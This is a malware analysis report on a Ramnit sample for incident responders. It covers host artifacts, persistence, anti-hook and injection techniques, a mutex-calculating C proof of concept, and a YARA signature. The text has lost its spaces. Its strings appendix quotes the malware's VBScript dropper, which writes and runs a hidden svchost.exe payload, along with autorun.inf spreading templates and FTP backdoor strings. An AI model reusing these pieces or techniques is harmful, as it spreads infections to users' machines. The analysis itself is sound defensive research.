Ramnit Analysis
Ramnit Analysis
[email protected] Version1 May16,2013 TableofContents ExecutiveSummary Introduction Identification FileInformation MalwareFamily Propagation HostArtifacts InstallationSummary Files Persistence Registry Pipes Mutex AntiDebuggingandPacker AntiHookFunctionality ProcessInjection IdentifyingonaLiveSystem CommandandControl URLs&IPs Appendix: SourcesandReferences AntiHookAPIList CalculatedMutex HookInjectionNotes YaraSignatures OpenSourceIntelligence CommonStrings ThankstoDanielPlohmannandGlennEdwardsfortheeditsandfeedback.
Executive Summary
ThisdocumentisananalysisofpartsofRamnitthatIfoundinterestingorworthnoting.The intendedaudienceismalwareandforensicanalysts. Disclaimer:ThisisnotacompleteanalysisofallcomponentsandfunctionalityofRamnit.
Introduction
AnyoneworkingwithmalwareorincidentresponsehasheardofRamnit.Ithasbeenlabeledby Microsoftasoneofthemostprevalentfamilyofmalware.WhenitwasfirstobservedinAprilof 2010,Ramnitwasconsideredtobeagenericwormwithnotmuchcredibilityasarealthreat.In 2011malwareauthorsmodifiedthesourcecodetobemorenefarious.Inrecentmonthsthe authorshaveaddedmorecapabilitiessuchasManInTheBrowser(MITB)injection,AVfile blockingandencryptiontoprotecttheircommandandcontrolcommunication.Duetothe increasedlegitimacyofthethreatcausedbythismalwareIwantedtotakealookatit.The samplewaschosenatrandom.Theproblemwithselectingasampleatrandomisthatthe chancesofselectinganewvariantareslim.WhenIopenedthesampleinadebuggerIwas instantlyintriguedwithitsantidebugging,encoding,packer,injectionmethodandothernoteable features.HourslatersafteradecentlycommentedIDB,Inoticedthecompiledatawas 2010/11/20Sat00:28:49UTC.IdecidedtokeepreversingthemalwarebecauseIwasableto findgapsinmytoolsandknowledgebase.Partsofthisdocumentreadslikeamalwareincident responsereportwhileothersectionsgodeepintoareasthatwereuniqueorinteresting.
Identification
File Information
SHA256: SHA1: MD5: Filesize: Filename: Filetype: b2b56ff4227034bcb2d537c98c41df8be94b7ac58bcbd11f8bc7b46c3ebc5ca5 de1f5fe91eaba2722f5ff90578ca7332e39c3e83 49e486fcc7da44f12a4598258011b580 84.5KB(86528bytes) SAFlashPlayer.exe Win32EXE
Malware Family
Ramnit,PalevoandKoobface.PleaseseeAppendix,SourcesandReferences[1]forthe VirusTotalresults.
Propagation
Itisunknownhowthissamplewasdistributed.Thesamplewasoriginallysubmittedto VirusTotalon2013021901:11:28UTC.Ramnithasbeendistributedbyinfectingexecutables, dynamiclinklibraries(DLL),HTMLfiles[2]andinfectingremovabledrives.Recentversionsof themalwarehaveaddedfinancialstealingcapabilitiesaswellasMITBwebinjectioncapabilities
Host Artifacts
Installation Summary
Uponexecutionthemalwarewillunpackitself,copyntdll.dllandkernel32.dlltotempfilesand placetheminthetempdirectory.Thesefilesareusedtoremoveanyinlinehooks[See Appendix,AntiHookFunctionality].Onceithascompletedremovingtheinlinehooksitwill deletethetemporaryfiles.Itwillthenlocatethefilepathofthedefaultbrowser.Thisisusedasa dummyprocessthatisinjectedinto.Themalwarewilladjusttheprocesstokenprivilegesto havedebugrights.AninlinehookiscreatedattheaddressofZwWriteVirtualMemoryinthe originalprocess.Thishookistriggeredwhenanewprocessiscreated.Whenthehookis completed,itwillcreatetheprocessofthedefaultbrowser.Whichwilltriggerthehookthatis responsibleforinjectingthemalwareintothedummyprocess.Themalwarewillnowberunning inthememoryspaceofthedummyprocess.Themalwarewillcreateafilenameddmlconf.dat intheInternetExplorerprogramfolder.Themalwarewillcreateacopyofitselfwitha pseudorandomfilenameanddirectorytotheprogramsfolder.Themalwarewillcreatea temporaryfileinthenewlycreateddirectoryinstallfolder.
Files
%ALLUSERSPROFILE%\StartMenu\ProgramsStartup\gsyxsgyu.exe87KB Copyoftheoriginallydroppedexecutable. %PROGRAMFILES%\djIKaYnU]Ogsyxsgyu.exeDirectory Thedirectorynameisrandomperinstallandmachine.Thefolderpathisactuallyabug intheauthorscode.ThefilenameiscopiedfromthetheStartupfolder.MostHIPS basedsoftwareshouldalertonanfilewithtwo.exeinthefilename. %PROGRAMFILES%\djIKaYnU]Ogsyxsgyu.exe\gsyxsgyu.exe87KB Thefilenameisuniqueperinstallandwillremainstaticpermachine. %PROGRAMFILES%\InternetExplorer\dmlconf.dat 1KB Hardcodedstaticfilename.
Persistence
Themalwarecanremainpersistentonthemachinebywritingacopyofitselfto%USER%\Start Menu\Programs\Startup\.Itwillfindthefolderpathvaluebyreadingtheregistryvalueat HKEY_CURRENT_USER\'Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders.
Registry
Norecovereddatawasfoundintheregistryhoweverthemalwaredoesreadvaluesfromthe registrytofindsystemrelatedsettings.
Pipes
NopipesorAPIsrelatedtoworkingwithpipeswereobserved.
Mutex
ThemutexisacalculatedvalueusingLinearCongruentialGeneratorwhichisseededwiththe serialvolumeinformation,astaticvalueandformattedtolooklikeaclassid.Thegeneratoris calledsixtimes.Eachtimethevalueintoacharstringandthenformattedwiththefollowing "{%08X%04X%04X%04X%08X%04X}".TheclassidispseudorandomandisusedbyRamnit tocheckifithasalreadyinfectedamachine.Anexampleofacalculatedmutexwouldbe {7CC2761377A9278D2C1C6AE821F1BA18}.Thealgorithmisstaticacrossanumberof samples.
Aproofofconcept(POC)ofthealgorithmcanbefoundintheAppendix,CalculatedMutex.The aboveimageistheoutputofthePOConamachineinfectedwithRamnit.Thecodeiswrittenin C.
AnalystNote:TolocatethefunctionresponsibleforcreatingthemutexsearchforGetVolumeInformationAandthe string'{%08X%04X%04X%04X%08X%04X}'
Anti-Hook Functionality
Ramnitincludesfunctionalitytoremoveinlinehooks.Toaccomplishthisitwilllocatethefilepath ofntdll.dll,createatemporaryfilenamewithaprefixstringof~TMinthe%TEMP%directory andthencopyntdll.dlltoit.Anexampleofthefilenameandpathwouldbe "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~TM424.tmp".OncetheDLLhasbeencopiedto thetempfile,itwillthenbemappedintomemory.ThemappedfilewillhaveitsPortable ExecutableFileFormatparsedtolocatethestartoftheexports.NextitwillsearchthenforAPI bynameandlocatetheiroffset.ForeachAPInameitwillcopy0x400bytesfromthemapped DLLintothematchingAPIaddressoftheDLLloadedintheprocessspacebytheWindows Loader.Bycopyingthecode/bytesfromthemappedDLLintotheWindowsLoadedDLLitwill overwriteanyinlinehooksinusermodeplacedbyantivirusorotherhostintrusionprevention software.OncethisiscompletedforthesetofAPIsinntdll.dll,itwillstarttheprocessoverfor kernel32.dll.ThecompletelistofAPIscanbefoundintheAppendix,AntiHookAPIList.
AnalystNotes:TofindthisfunctionalitylocatethefunctionsthatcallGetTempFileName,CreateFileMapping,and MapViewOfFile.
Process Injection
Ramnitcontainsauniqueapproachforinjectingintoprocesses.Thetechniqueisnotable becauseitusesaninlinehooktotriggerthefunctionresponsibleforinjectinginthedummy process.Thistechniqueisusedtobreakmonitoringofprocessflow.Monitoringtoolsdonot typicallymonitorprocessexecutionfromwithinkernel32.dllandotherMicrosoftWindows libraries.FSecurewroteaboutthistechniqueinJulyof2011[5].PleaseseeAppendix,Hook InjectionNotesfordetailsonthetechnique.
AnalystNote:WriteProcessMemoryandCreateRemoteThreadarecommonlymonitoredAPIcallsbyantivirusand HIPSbasedsoftware.
AnalystNote:TheaboveimageisascreenshotofthetoolProcessHacker.Itisanextremelyeffectivetool forsearchingmemoryanddumpingoutthememoryonalivesystem.
Intheimageabovewecanseetheclassidformattedlikeaclassidintheprocessof IEXPLORE.exe.
Themisnamedfolderisanotherbigclue.AYarasignaturetodetectRamnitwhileinmemoryhas beenprovided,seeAppendix,YaraSignature.
Appendix:
Sources and References
[1]VirustotalResultsoftheSample https://www.virustotal.com/en/file/b2b56ff4227034bcb2d537c98c41df8be94b7ac58bcbd11f8bc7b46c3ebc5ca 5/analysis/ [2]TakingaLookatW32/RamnitbyGuilhermeVenereofSymantec http://blogs.mcafee.com/mcafeelabs/takingalookatw32ramnit [3]RamnitEvolutionFromWormtoFinancialMalwarebyAyeletHeymanofTrusteer https://www.trusteer.com/blog/ramnitevolution%E2%80%93wormfinancialmalware [4]BlackholeRamnitsamplesandanalysisbyMila http://contagiodump.blogspot.com/2012/01/blackholeramnitsamplesandanalysis.html [5]VirusThatBlocksItselfbyWayneofFSecure. http://www.fsecure.com/weblog/archives/00002138.html References
http://www.seculert.com/blog/2012/01/ramnitgoessocial.html
Calculated Mutex
ThefollowingCcodewillcalculateaRamnitMutexandthencheckforthepresenceofthe mutexonthemachine. //CreatedbyAlexanderHanel.ThefollowingPOCwillcalculateramnitmutex.
#include<stdio.h> #include<windows.h> #include<tchar.h> #defineARRAYSIZE(a)(sizeof(a)/sizeof(a[0])) intrand_int(intrnd_seed) { intk1 intix=rnd_seed k1=ix/127773 ix=16807*(ixk1*127773)k1*2836 if(ix<0) ix+=2147483647 rnd_seed=ix returnrnd_seed } intmain(intargc,char*argv[]) { charmute[31] inta,b,c,d,e,f intnew_seed HANDLEhMutex TCHARvolumeName[MAX_PATH+1]={0} TCHARfileSystemName[MAX_PATH+1]={0} DWORDserialNumber=0 DWORDmaxComponentLen=0 DWORDfileSystemFlags=0 //Reference/Help http://www.dreamincode.net/forums/topic/70779howtousemsdnfunctions%26gt%3Bgetvolu meinformation/ if(GetVolumeInformation( _T("C:\\"), volumeName, ARRAYSIZE(volumeName), &serialNumber, &maxComponentLen, &fileSystemFlags, fileSystemName, ARRAYSIZE(fileSystemName))) {
a=rand_int(serialNumber) new_seed=a //staticvalueadded a+=2035 b=rand_int(new_seed) new_seed=b b=b%0x000FFFF c=rand_int(new_seed) new_seed=c c=c%0x000FFFF d=rand_int(new_seed) new_seed=d d=d%0x000FFFF e=rand_int(new_seed) new_seed=e f=rand_int(new_seed) new_seed=f f=f%0x000FFFF wsprintf(mute,"{%08X%04X%04X%04X%08X%04X}",a,b,c,d,e,f) printf("SerialNumbersis%x\nCalculatedMutexis%s\n",serialNumber,mute) hMutex=CreateMutexA(NULL,FALSE,mute) if(hMutex==NULL) printf("CreateMutexFailed,error%d\n",GetLastError()) else if(GetLastError()==ERROR_ALREADY_EXISTS) printf("WARNING:openedanexistingcalculatedRamnitmutex...\n") } else printf("ERROR:Couldnotgetvolume...probalynottheC:\\drive\n") return0 }
7C90DF90 E9AD4BAF83JMPb2b56ff4.00402B42addressofZwWriteVirtualMemory 7C90DF95 BA0003FE7F MOVEDX,7FFE0300 7FFE0300 7C90DF9A FF12 CALLDWORDPTRDS:[EDX] 7C90DF9C C21400 RETN14 ............ ............ UPX0:00402B42 push ebp calledfromkernel.7C81A636 UPX0:00402B43 mov ebp,esp UPX0:00402B45 add esp,0FFFFFFF8h UPX0:00402B48 push [ebp+arg_10] UPX0:00402B4B push [ebp+arg_C] UPX0:00402B4E push [ebp+arg_8] UPX0:00402B51 push [ebp+arg_4] UPX0:00402B54 push [ebp+hProcess] UPX0:00402B57 call dword_40526A &003E0005 UPX0:00402B5D pusha UPX0:00402B5E cmp _start_MZ,0
Yara Signatures
ruleramnit_memory_signature { strings: $hex_string={0355086a1952e8????????0461880646e2eec7062e6578 6583c604c60600} condition: $hex_string }
Common Strings
%ProgramFiles% %CommonProgramFiles% %HOMEDRIVE%%HOMEPATH% %APPDATA% :///: POSTGETHTTP/*.* Host:{*} Referer:{*} /GET/%sHTTP/1.1 Host:%s UserAgent:Mozilla/4.0(compatibleMSIE6.0WindowsNT5.1SV1) Accept:text/html,application/xmlq=0.9,application/xhtml+xmlq=0.9,image/png, image/jpeg,image/gif,image/xxbitmap,*\*q=0.1 AcceptCharset:utf8,utf16,iso88591q=0.6,*q=0.1 Pragma:nocache Connection:close HTTP/1.x301MovedPermanently Server:Apache/2.2.14 Expires:Mon,26Jul199705:00:00GMT CacheControl:maxage=0 Pragma:nocache Connection:KeepAlive ContentType:text/html Location:Date:LastModified:ddd','ddMMMyyyy hh':'mm':'ssGMT vCheckSumMappedFile v</SCRIPT> <SCRIPTLanguage=VBScript><! DropFileName="svchost.exe" WriteData="" SetFSO=CreateObject("Scripting.FileSystemObject") DropPath=FSO.GetSpecialFolder(2)&"\"&DropFileName IfFSO.FileExists(DropPath)=FalseThen SetFileObj=FSO.CreateTextFile(DropPath,True)
Fori=1ToLen(WriteData)Step2 FileObj.WriteChr(CLng("&H"&Mid(WriteData,i,2))) FileObj.Close EndIf SetWSHshell=CreateObject("WScript.Shell") WSHshell.RunDropPath,0 //></SCRIPT><!>RmN autorun.inf [autorun] action=Open icon=%%WinDir%%\system32\shell32.dll,4 shellexecute=%s shell\explore\command=%s USEAUTOPLAY=1 shell\Open\command=%s %s\RECYCLER\%s\%s.%s %RUNNER_EXTENTION_PATH%MZ \/INTEL_CEDR_STORE %RUNNER_EXTENTION_PATH% 22&2,222 j\\.\STORAGE#Volume#_??_USBSTOR#%s#%s#{53f56307b6bf11d094f200a0c91efb 8b}#{53f5630db6bf11d094f200a0c91efb8b}%s \\.\STORAGE#Volume#1&19f7e59c&0&_??_USBSTOR#%s#%s#{53f56307b6bf11d0 94f200a0c91efb8b}#{53f5630db6bf11d094f200a0c91efb8b}%s \\.\STORAGE#RemovableMedia#%s#{53f5630db6bf11d094f200a0c91efb8b}%s \DosDevices\ SYSTEM\MountedDevices SYSTEM\CurrentControlSet\Enum\USBSTOR ParentIdPrefix USBSTOR\%s\%s 7&%x&0&RM %s\CopyofShortcutto(%d).lnk MicrosoftWindows.MicrosoftCorporation USERPASSCWD CDUPQUITPORTPASVTYPEMODERETRSTORAPPERESTRNFRRNTOABORDELER MDMKDLISTNLSTSYSTSTATHELPNOOPSIZEEXECPWD 200NOOPok. 211Status:undefined 213%lu 214Helpiddisabled 220220RMNetworkFTP 221Bye! 227EnteringPassiveMode(%i,%i,%i,%i,%i,%i).
230Userloggedin,proceed. 257directorycreated. 331Passwordrequiredfor%s. 350RESTsupported.Readytoresumeatbyteoffset%lu. 425Can'topendataconnection. 451Requestedactionaborted:localerrorinprocessing. 500Syntaxerror,commandunrecognized. 501Syntaxerrorinparametersorarguments. 503Badsequenceofcommands. 530Notloggedin. 530LoginorPasswordincorrect. 200Typesetto%c. 257"%s"iscurrentdirectory. 150Dataconnectionaccepted. 226Transferok 215UNIXType:L8 200Portcommandsuccessful. 550Noportspecified. 150Openingdataconnection. 451Failed:Cannotbuilddataconnection. 250CWDcommandsuccessful. 550Nosuchfileordirectory. 426Cannotretrieve.Failed.Aborting. 266ABORcommandsuccessful. 250Filedeletedsuccessfully. 250Directoryremoved. 350Fileexists.Readyfordestinationname. 250Filerenamedsuccessfully. 250Fileexecutedsuccessfully. drwxrwxrwx1ftp ftp 0Jan011980C: rwrwrw1ftp ftp%11lu%s%2.2i%s%s %2.2i:%2.2i .exe.bat.com.scr.cmd.pif 4pC:\ProgramFiles\InternetExplorer\dmlconf.dat 39030d37828cdf430aed345fd2be409f 9854bd9 281251a0df1cca568334e8c659854bd9 7823f478afef21b0414ba48fb89f9355 C:\ProgramFiles\InternetExplorer\complete.dat